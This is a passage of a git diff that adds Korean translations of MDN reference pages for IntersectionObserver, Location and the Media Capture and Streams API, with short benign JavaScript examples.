+<p>There's an even more extensive example at <a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('IntersectionObserver')}}</td>
+ <td>{{Spec2('IntersectionObserver')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://github.com/w3c/IntersectionObserver">Intersection Observer polyfill</a></li>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+ <li>{{domxref("IntersectionObserver")}} and {{domxref("IntersectionObserverEntry")}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/index.html
new file mode 100644
index 0000000000..762fd3ac09
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/index.html
@@ -0,0 +1,97 @@
+---
+title: IntersectionObserver
+slug: Web/API/IntersectionObserver
+tags:
+ - API
+ - Experimental
+ - Interface
+ - Intersection Observer API
+ - IntersectionObserver
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+ - observers
+translation_of: Web/API/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Intersection_Observer_API">Intersection Observer API</a> 의 <code><strong>IntersectionObserver</strong></code> 인터페이스는 대상 요소와 그 상위 요소 혹은 최상위 도큐먼트인 <span class="seoSummary">{{Glossary('viewport')}}</span>와의 교차 영역에 대한 변화를 비동기적으로 감지할 수 있도록 도와줍니다.</p>
+
+<p> <code>IntersectionObserver</code> 가 생성되면, 루트 내에서 설정된 비율 만큼의 가시성을 계속 감시하도록 설정됩니다. 한번 생성되고 나면, 설정 값은 변경될 수 없으므로, 생성된 감시자 객체는 가시성 정도의 변화를 감시하는 데에만 쓰일 수 있습니다. 하지만 동일한 감시자 객체로 여러 대상 요소를 감시할 수 있습니다.</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.IntersectionObserver()")}}</dt>
+ <dd><code>IntersectionObserver</code> 객체를 생성합니다. 해당 객체는 대상 요소의 가시성이 하나 이상의 설정된 정도 값을 넘을 경우 주어진 콜백 함수를 실행합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.root")}} {{readonlyinline}}</dt>
+ <dd>대상 요소 ({{domxref("element")}}) 를 감시할 상위 요소. 값을 넣지 않거나 <code>null</code> 일 경우, 최상위 문서의 뷰포트가 사용된다.</dd>
+ <dt>{{domxref("IntersectionObserver.rootMargin")}} {{readonlyinline}}</dt>
+ <dd>교차 정도를 계산할 때 루트의 {{Glossary('bounding box')}} 에 적용되는 offset 사각형으로, 루트의 범위를 효과적으로 늘리거나 줄입니다. 이 특성이 반환한 값은, 생성자를 호출 할 때 내부 요구 사항에 맞게 변경 될 수 있으므로 지정된 값과 같지 않을 수 있습니다. 각 offset 은 픽셀(<code>px</code>) 혹은 퍼센트(<code>%</code>)로 표기될 수 있습니다. 기본 값은 "0px 0px 0px 0px" 입니다.</dd>
+ <dt>{{domxref("IntersectionObserver.thresholds")}} {{readonlyinline}}</dt>
+ <dd>임계값 목록. 숫자의 오름차순으로 정렬되며, 각 임계 값은 감시하는 대상의 경계 상자 영역과의 교차 비율입니다. 대상에 대한 알림은 해당 대상에 대한 임계 값이 초과 될 때 생성됩니다. 생성자에 값이 전달되지 않을 경우 0이 사용됩니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("IntersectionObserver.disconnect()")}}</dt>
+ <dd><code>IntersectionObserver</code> 가 어떤 대상이라도 감시하는 것을 중지합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.observe()")}}</dt>
+ <dd>대상 요소에 대한 감시를 시작합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.takeRecords()")}}</dt>
+ <dd>모든 감시되는 대상의 배열 ({{domxref("IntersectionObserverEntry")}}) 을 리턴합니다.</dd>
+ <dt>{{domxref("IntersectionObserver.unobserve()")}}</dt>
+ <dd>특정 대상 요소를 감시하는 것을 중지합니다.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var intersectionObserver = new IntersectionObserver(function(entries) {
+ // If intersectionRatio is 0, the target is out of view
+ // and we do not need to do anything.
+ if (entries[0].intersectionRatio &lt;= 0) return;
+
+ loadItems(10);
+ console.log('Loaded new items');
+});
+// start observing
+intersectionObserver.observe(document.querySelector('.scrollerFooter'));</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName("IntersectionObserver", "#intersection-observer-interface", "IntersectionObserver")}}</td>
+ <td>{{Spec2('IntersectionObserver')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref('MutationObserver')}}</li>
+ <li>{{domxref('PerformanceObserver')}}</li>
+ <li>{{domxref('ResizeObserver')}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/intersectionobserver/index.html b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html
new file mode 100644
index 0000000000..6f89828d16
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/intersectionobserver/index.html
@@ -0,0 +1,87 @@
+---
+title: IntersectionObserver.IntersectionObserver()
+slug: Web/API/IntersectionObserver/IntersectionObserver
+tags:
+ - API
+ - Constructor
+ - Intersection Observer API
+ - IntersectionObserver
+ - Reference
+translation_of: Web/API/IntersectionObserver/IntersectionObserver
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary"><strong><code>IntersectionObserver()</code></strong> 생성자는 새로운 {{domxref("IntersectionObserver")}} 객체를 생성하고 반환합니다.</span> <code>rootMargin</code> 옵션을 지정했다면 값의 구문이 맞는지, 범위가 0.0 이상 1.0 이하인지, 그리고 역치가 오름차순으로 정렬됐는지 검사합니다. 역치 목록이 없다면 배열 <code>[0.0]</code>을 사용합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">new IntersectionObserver(<em>callback</em>[, <em>options</em>]);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>대상 요소의 화면에 보이는 부분 백분율이 역치보다 클 때 호출할 함수입니다. 다음의 두 매개변수를 받습니다.
+ <dl>
+ <dt><code>entries</code></dt>
+ <dd>더 보이거나 덜 보이게 되면서 통과한 역치를 나타내는, {{domxref("IntersectionObserverEntry")}} 객체의 배열.</dd>
+ <dt><code>observer</code></dt>
+ <dd>자신을 호출한 {{domxref("IntersectionObserver")}}.</dd>
+ </dl>
+ </dd>
+ <dt><code>options</code> {{optional_inline}}</dt>
+ <dd>옵저버를 조정할 수 있는 옵션 객체. 지정하지 않는다면 옵저버는 문서의 뷰포트를 루트로 사용하고, 여백은 없이, 역치는 0(1픽셀이라도 변하면 콜백을 호출)이 됩니다. 아래 옵션을 자유롭게 지정할 수 있습니다.
+ <dl>
+ <dt><code>root</code></dt>
+ <dd>대상 요소의 조상인 {{domxref ( "Element")}} 객체는 경계 사각형이 뷰포트로 간주됩니다. 루트의 가시 영역에 보이지 않는 대상의 어떤 부분도 가시적 인 것으로 간주되지 않습니다.</dd>
+ <dt><code>rootMargin</code></dt>
+ <dd>교차점을 계산할 때, 계산 목적으로 루트를 줄이거나 늘리는 경우, 루트의 {{Glossary ( 'bounding_box')}}에 추가 할 오프셋 세트를 지정하는 문자열입니다. 구문은 CSS {{cssxref ( "margin")}} 속성의 구문과 거의 동일합니다. 여백의 작동 방식 및 구문에 대한 자세한 내용은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "The root element and root margin")}}을 참조하십시오. 기본 설정은 "0px 0px 0px 0px"입니다.</dd>
+ <dt></dt>
+ <dt><code>threshold</code></dt>
+ <dd>관측 대상에 대한 전체 상자 영역(루트)에 대한 교차 영역의 비율을 지정하며, 0.0과 1.0 사이의 숫자 하나 혹은 숫자 배열입니다. 0.0 값은 대상의 단일 픽셀이라도 보여지면, 대상이 보이는 것으로 계산되는 것을 의미합니다. 1.0은 전체 대상 요소가 표시됨을 의미합니다. 임계 값 사용 방법에 대한 자세한 설명은 {{SectionOnPage("/en-US/docs/Web/API/Intersection_Observer_API", "Thresholds")}}를 참조하십시오. 기본값은 0.0입니다.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>지정된 가시성 <code>threshold</code> 를 통해 지정된 <code>root</code> 내에서 대상 요소의 가시성을 감시하는 데 사용할 수있는 {{domxref ( "IntersectionObserver")}} 인스턴스가 반환됩니다. {{domxref ( "IntersectionObserver.observe", "observe()")}} 메소드를 호출하여 지정된 대상의 가시성 변경을 관찰하십시오.</p>
+
+<h3 id="예외">예외</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>설정된 <code>rootMargin</code> 이 유효하지 않은 경우.</dd>
+ <dt><code>RangeError</code></dt>
+ <dd>하나 혹은 그 이상의 <code>threshold</code> 가 0.0 - 1.0 사이가 아닌 경우</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>아래는 요소의 보여지는 부분이 10% 가 넘거나 작아질 때  <code>myObserverCallback</code> 를 호출하는 새로운 intersection observer 를 생성하는 예제입니다.</p>
+
+<pre class="brush: js">let observer = new IntersectionObserver(myObserverCallback,
+ {"threshold": 0.1});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-intersectionobserver','IntersectionObserver constructor')}}</td>
+ <td>{{Spec2('IntersectionObserver')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.IntersectionObserver.IntersectionObserver")}}</p>
diff --git a/files/ko/web/api/intersectionobserver/observe/index.html b/files/ko/web/api/intersectionobserver/observe/index.html
new file mode 100644
index 0000000000..5ceefe8d77
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/observe/index.html
@@ -0,0 +1,65 @@
+---
+title: IntersectionObserver.observe()
+slug: Web/API/IntersectionObserver/observe
+translation_of: Web/API/IntersectionObserver/observe
+---
+<div>{{APIRef("Intersection Observer API")}}{{SeeCompatTable}}</div>
+
+<p><span class="seoSummary">The {{domxref("IntersectionObserver")}} <code><strong>observe()</strong></code> 메서드는 <code>IntersectionObserver</code> 객체가 관찰할 엘리먼트 목록에 단일 엘리먼트를 추가합니다. 하나의 옵저버 객체는 단일한 threshold와 root를 가지지만 복수의 타겟 엘리먼트의 가시성 변화를 관찰할 수 있습니다.</span> 만일 엘리먼트 관찰을 중지하고 싶다면 {{domxref("IntersectionObserver.unobserve()")}} 메서드를 호출하세요.</p>
+
+<p>특정 엘리먼트의 가시성이 다른 옵저버의 가시성 threshold와 교차할 때({{domxref("IntersectionObserver.thresholds")}} 참조), 옵저버 콜백은 발생한 교차성 변경을 알리는 {{domxref("IntersectionObserverEntry")}} 객체와 함께 실행됩니다.</p>
+
+<p>노트. 이 디자인은 복수 엘리먼트의 교차성 변경이 하나의 콜백 실행을 통해 처리되는 것을 허용합니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><em>IntersectionObserver</em>.observe(<em>targetElement</em>);</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>targetElement</code></dt>
+ <dd>가시성이 감시될 root 내부의 {{domxref("element")}}. 해당 엘리먼트는 루트 엘리먼트의 자손 노드여야 합니다(혹은 현재 root가 document의 viewport일 때는 현재 document 내부의 엘리먼트여야 합니다).</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p><code>undefined</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>&lt;&lt;&lt;...&gt;&gt;&gt;</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('IntersectionObserver','#dom-intersectionobserver-observe','IntersectionObserver.observe()')}}</td>
+ <td>{{Spec2('IntersectionObserver')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<div>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.observe")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("IntersectionObserver.unobserve()")}}</li>
+</ul>
diff --git a/files/ko/web/api/intersectionobserver/root/index.html b/files/ko/web/api/intersectionobserver/root/index.html
new file mode 100644
index 0000000000..16ae5eaad2
--- /dev/null
+++ b/files/ko/web/api/intersectionobserver/root/index.html
@@ -0,0 +1,57 @@
+---
+title: IntersectionObserver.root
+slug: Web/API/IntersectionObserver/root
+translation_of: Web/API/IntersectionObserver/root
+---
+<div>{{APIRef("Intersection Observer API")}}</div>
+
+<p><span class="seoSummary">{{domxref("IntersectionObserver")}} 인터페이스의 read-only 속성인 <strong><code>root</code></strong>는 옵저버의 타겟 엘리먼트가 속한 화면의 경계, 즉 {{Glossary("viewport")}}의 {{Glossary("bounding box")}} 처럼 취급되는 {{domxref("Element")}} 이나 {{domxref("Document")}} 를 식별합니다. </span>만일 <code>root</code>가 <code>null</code> 이라면 화면 경계는 실제 document viewport가 사용됩니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox"><var><code>var <em>root</em> = </code>intersectionObserver</var>.root;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>{{domxref("Element")}} 이나 {{domxref("Document")}} 객체로, 해당 객체의 bounding box는 observer에 의해 관찰되는 대상 요소가 화면상에 얼마나 보여지는가를 가늠할 뷰포트의 경계로 사용됩니다.</p>
+
+<p>사각형 경계의 교차성, {{domxref("IntersectionObserver.IntersectionObserver", "IntersectionObserver()")}} 객체 생성시에 설정된 임의의 margin에 의한 offset, 대상 요소의 경계에서 타겟 요소와 겹쳐진 모든 요소나 다른 객체의 경계를 제외한 것이 대상 요소의 가시성 계산에 고려됩니다.</p>
+
+<p>만일 <code>root</code> 가 <code>null</code>이라면 현재 document가 root로 사용되며, 그것의 viewport의 경계(즉 document의 노출 영역)가 root 의 경계로 사용됩니다.</p>
+
+<h2 id="사용예">사용예</h2>
+
+<p>이 예제는 intersection observer의 root 요소의 {{cssxref("border")}}를 2픽셀 너비의 녹색 라인으로 설정합니다.</p>
+
+<pre class="brush: js">observer.root.style.border = "2px solid #44aa44";
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('IntersectionObserver', '#dom-intersectionobserver-root', 'IntersectionObserver')}}</td>
+ <td>{{Spec2('IntersectionObserver')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("api.IntersectionObserver.root")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Intersection_Observer_API/Timing_element_visibility">Timing element visibility with the Intersection Observer API</a></li>
+</ul>
diff --git a/files/ko/web/api/location/index.html b/files/ko/web/api/location/index.html
new file mode 100644
index 0000000000..42587a8572
--- /dev/null
+++ b/files/ko/web/api/location/index.html
@@ -0,0 +1,112 @@
+---
+title: Location
+slug: Web/API/Location
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - Location
+ - Reference
+translation_of: Web/API/Location
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>Location</code></strong> 인터페이스는 객체가 연결된 장소(URL)를 표현합니다.</span> <code>Location</code> 인터페이스에 변경을 가하면 연결된 객체에도 반영되는데, {{domxref("Document")}}와 {{domxref("Window")}} 인터페이스가 이런 <code>Location</code>을 가지고 있습니다. 각각 {{domxref("Document.location")}}과 {{domxref("Window.location")}}으로 접근할 수 있습니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><code>Location</code> 인터페이스는 아무 속성도 상속하지 않지만, {{domxref("URLUtils")}}의 속성을 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Location.href")}}</dt>
+ <dd>온전한 URL을 값으로 하는 {{domxref("DOMString")}}입니다. 바뀔 경우 연결된 문서도 새로운 페이지로 이동합니다. 연결된 문서와 다른 오리진에서도 설정할 수 있습니다.</dd>
+ <dt>{{domxref("Location.protocol")}}</dt>
+ <dd>URL의 프로토콜 부분을 값으로 하는 {{domxref("DOMString")}}으로, 마지막의 <code>':'</code>도 포함합니다.</dd>
+ <dt>{{domxref("Location.host")}}</dt>
+ <dd>URL의 호스트 부분을 값으로 하는 {{domxref("DOMString")}}으로, 호스트명, <code>':'</code>, 포트 번호를 포함합니다.</dd>
+ <dt>{{domxref("Location.hostname")}}</dt>
+ <dd>URL의 도메인 부분을 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.port")}}</dt>
+ <dd>URL의 포트 번호를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.pathname")}}</dt>
+ <dd><code>'/'</code> 문자 뒤 URL의 경로를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.search")}}</dt>
+ <dd><code>'?'</code> 문자 뒤 URL의 쿼리스트링을 값으로 하는 {{domxref("DOMString")}}입니다. 모던 브라우저에서는 {{domxref("URLSearchParams.get()")}}과 {{domxref("URL.searchParams")}}를 사용해서 인자를 쉽게 추출할 수 있습니다.</dd>
+ <dt>{{domxref("Location.hash")}}</dt>
+ <dd><code>'#'</code> 문자 뒤 URL의 프래그먼트 식별자를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.username")}}</dt>
+ <dd>도메인 이름 이전에 명시된 사용자명을 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.password")}}</dt>
+ <dd>도메인 이름 이전에 명시된 비밀번호를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+ <dt>{{domxref("Location.origin")}} {{readOnlyInline}}</dt>
+ <dd>지정한 장소 오리진의 표준 형태를 값으로 하는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>Location</code> 인터페이스는 아무 메서드도 상속하지 않지만, {{domxref("URLUtils")}}의 메서드를 구현합니다.</p>
+
+<dl>
+ <dt>{{domxref("Location.assign()")}}</dt>
+ <dd>주어진 URL의 리소스를 불러옵니다.</dd>
+ <dt>{{domxref("Location.reload()")}}</dt>
+ <dd>현재 URL의 리소스를 다시 불러옵니다. 선택적으로 매개변수에 <code>true</code>를 제공해 브라우저 캐시를 무시하고 서버에서 새로 불러올 수 있습니다,</dd>
+ <dt>{{domxref("Location.replace()")}}</dt>
+ <dd>Replaces the current resource with the one at the provided URL. The difference from the <code>assign()</code> method is that after using <code>replace()</code> the current page will not be saved in session {{domxref("History")}}, meaning the user won't be able to use the <em>back</em> button to navigate to it.</dd>
+ <dt>{{domxref("Location.toString()")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the whole URL. It is a synonym for {{domxref("URLUtils.href")}}, though it can't be used to modify the value.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">// Create anchor element and use href property for the purpose of this example
+// A more correct alternative is to browse to the URL and use document.location or window.location
+var url = document.createElement('a');
+url.href = 'https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container';
+console.log(url.href); // https://developer.mozilla.org:8080/en-US/search?q=URL#search-results-close-container
+console.log(url.protocol); // https:
+console.log(url.host); // developer.mozilla.org:8080
+console.log(url.hostname); // developer.mozilla.org
+console.log(url.port); // 8080
+console.log(url.pathname); // /en-US/search
+console.log(url.search); // ?q=URL
+console.log(url.hash); // #search-results-close-container
+console.log(url.origin); // https://developer.mozilla.org:8080
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "browsers.html#the-location-interface", "Location")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Location")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Location")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Two methods creating such an object: {{domxref("Window.location")}} and {{domxref("Document.location")}}.</li>
+ <li>URL related interfaces: {{domxref("URL")}}, {{domxref("URLSearchParams")}} and {{domxref("HTMLHyperlinkElementUtils")}}</li>
+</ul>
diff --git a/files/ko/web/api/location/reload/index.html b/files/ko/web/api/location/reload/index.html
new file mode 100644
index 0000000000..4cd050e024
--- /dev/null
+++ b/files/ko/web/api/location/reload/index.html
@@ -0,0 +1,56 @@
+---
+title: Location.reload()
+slug: Web/API/Location/reload
+tags:
+ - API
+ - HTML DOM
+ - Location
+ - Method
+ - Reference
+translation_of: Web/API/Location/reload
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary"><code><strong>Location.reload()</strong></code> 메서드는 새로고침 버튼처럼 현재 리소스를 다시 불러옵니다.</span></p>
+
+<p>새로고침은 <code>SECURITY_ERROR</code> {{domxref("DOMException")}}과 함께 거부당할 수 있습니다. 이는 <code>location.reload()</code>를 호출한 스크립트의 {{glossary("origin", "출처")}}와 {{domxref("Location")}} 객체를 소유한 문서의 출처가 다를 때 발생합니다. 더 자세한 정보는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a> 문서를 참고하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>location</em>.reload();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "history.html#dom-location-reload", "Location.reload()")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from {{SpecName("HTML5 W3C")}}.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "browsers.html#dom-location-reload", "Location.reload()")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Location.reload")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>메서드가 속한 {{domxref("Location")}} 인터페이스.</li>
+ <li>비슷한 메서드: {{domxref("Location.assign()")}}, {{domxref("Location.replace()")}}.</li>
+</ul>
diff --git a/files/ko/web/api/media_streams_api/index.html b/files/ko/web/api/media_streams_api/index.html
new file mode 100644
index 0000000000..8e4c60730e
--- /dev/null
+++ b/files/ko/web/api/media_streams_api/index.html
@@ -0,0 +1,92 @@
+---
+title: Media Capture and Streams API (미디어 스트림)
+slug: Web/API/Media_Streams_API
+tags:
+ - API
+ - Media
+ - Media Capture and Streams
+ - Media Capture and Streams API
+ - Media Streams API
+ - Overview
+translation_of: Web/API/Media_Streams_API
+---
+<div>{{DefaultAPISidebar("Media Capture and Streams")}}</div>
+
+<p><strong>Media Streams API</strong>, 짧게는 <strong>MediaStream API</strong>라고 불리는 <strong>Media Capture and Streams API</strong>는 오디오와 비디오 데이터 스트리밍을 지원하는 <a href="/ko/docs/Web/API/WebRTC_API" title="/en-US/docs/WebRTC">WebRTC</a> 관련 API 입니다. 이 API는 미디어 스트림과 스트림을 구성하는 트랙, 데이터 형식과 관련된 제한인자, 데이터를 비동기적으로 사용할 때의 성공과 오류 콜백, 그리고 이 과정에서 발생하는 이벤트에 대한 인터페이스 및 메서드를 제공합니다.</p>
+
+<h2 id="개념_및_사용법">개념 및 사용법</h2>
+
+<p>이 API는 오디오 혹은 비디오와 관련된 데이터를 나타내는 {{domxref("MediaStream")}} 객체 조작에 기반합니다.</p>
+
+<p><code>MediaStream</code>은 0개 이상의 {{domxref("MediaStreamTrack")}} 객체로 구성되며, 각자 다양한 오디오와 비디오 <strong>트랙</strong>을 나타냅니다. 각각의 <code>MediaStreamTrack</code>은 하나 이상의 <strong>채널</strong>을 가질 수 있습니다. 채널은, 오디오로 예를 들면 스테레오 오디오 트랙에서의 "왼쪽"과 "오른쪽"처럼, 미디어 스트림의 제일 작은 단위를 나타냅니다.</p>
+
+<p><code>MediaStream</code> 객체는 하나의 <strong>입력</strong>과 하나의 <strong>출력</strong>을 가집니다. {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}로 생성한 <code>MediaStream</code> 객체는 "로컬" 미디어 스트림이라고 부르며, 사용자의 카메라와 마이크 중 하나를 입력 출처로 사용합니다. 반면 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, 네트워크에서 들어오는 스트림, WebRTC {{domxref("RTCPeerConnection")}} API로 획득한 스트림, <a href="/ko/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}로 생성한 스트림 등은 비 로컬 <code>MediaStream</code>이라고 합니다.</p>
+
+<p><code>MediaStream</code> 객체의 출력은 <strong>소비자</strong>(컨슈머)로 연결됩니다. 소비자는 {{htmlelement("video")}}, {{htmlelement("audio")}}와 같은 미디어 요소, WebRTC {{domxref("RTCPeerConnection")}} API, <a href="/ko/docs/Web/API/Web_Audio_API">Web Audio API</a> {{domxref("MediaStreamAudioSourceNode")}}가 가능합니다.</p>
+
+<h2 id="인터페이스">인터페이스</h2>
+
+<p>아래의 참고 문서에서는 Media Capture and Streams API를 구성하는 인터페이스에 대한 기초적인 지식을 찾을 수 있습니다.</p>
+
+<div class="index">
+<ul>
+ <li>{{domxref("BlobEvent")}}</li>
+ <li>{{domxref("CanvasCaptureMediaStreamTrack")}}</li>
+ <li>{{domxref("InputDeviceInfo")}}</li>
+ <li>{{domxref("MediaDeviceKind")}}</li>
+ <li>{{domxref("MediaDeviceInfo")}}</li>
+ <li>{{domxref("MediaDevices")}}</li>
+ <li>{{domxref("MediaStream")}}</li>
+ <li>{{domxref("MediaStreamConstraints")}}</li>
+ <li>{{domxref("MediaStreamEvent")}}</li>
+ <li>{{domxref("MediaStreamTrack")}}</li>
+ <li>{{domxref("MediaStreamTrackEvent")}}</li>
+ <li>{{domxref("MediaTrackCapabilities")}}</li>
+ <li>{{domxref("MediaTrackConstraints")}}</li>
+ <li>{{domxref("MediaTrackSettings")}}</li>
+ <li>{{domxref("MediaTrackSupportedConstraints")}}</li>
+ <li>{{domxref("NavigatorUserMedia")}}</li>
+ <li>{{domxref("NavigatorUserMediaError")}}</li>
+ <li>{{domxref("OverconstrainedError")}}</li>
+ <li>{{domxref("URL")}}</li>
+</ul>
+</div>
+
+<p>Media Capture and Streams API의 초기 명세는 {{domxref("MediaStreamTrack")}}에 기반한 별도의 <code>AudioStreamTrack</code>과 <code>VideoStreamTrack</code> 인터페이스를 포함했으며, 각자 오디오와 비디오 스트림을 따로 나타냈었습니다. 그러나 이런 구분은 더 이상 존재하지 않으며, 두 인터페이스를 사용하는 코드는 <code>MediaStreamTrack</code>을 직접 사용하도록 업데이트해야 합니다.</p>
+
+<h2 id="이벤트">이벤트</h2>
+
+<div class="index">
+<ul>
+ <li>{{event("addtrack")}}</li>
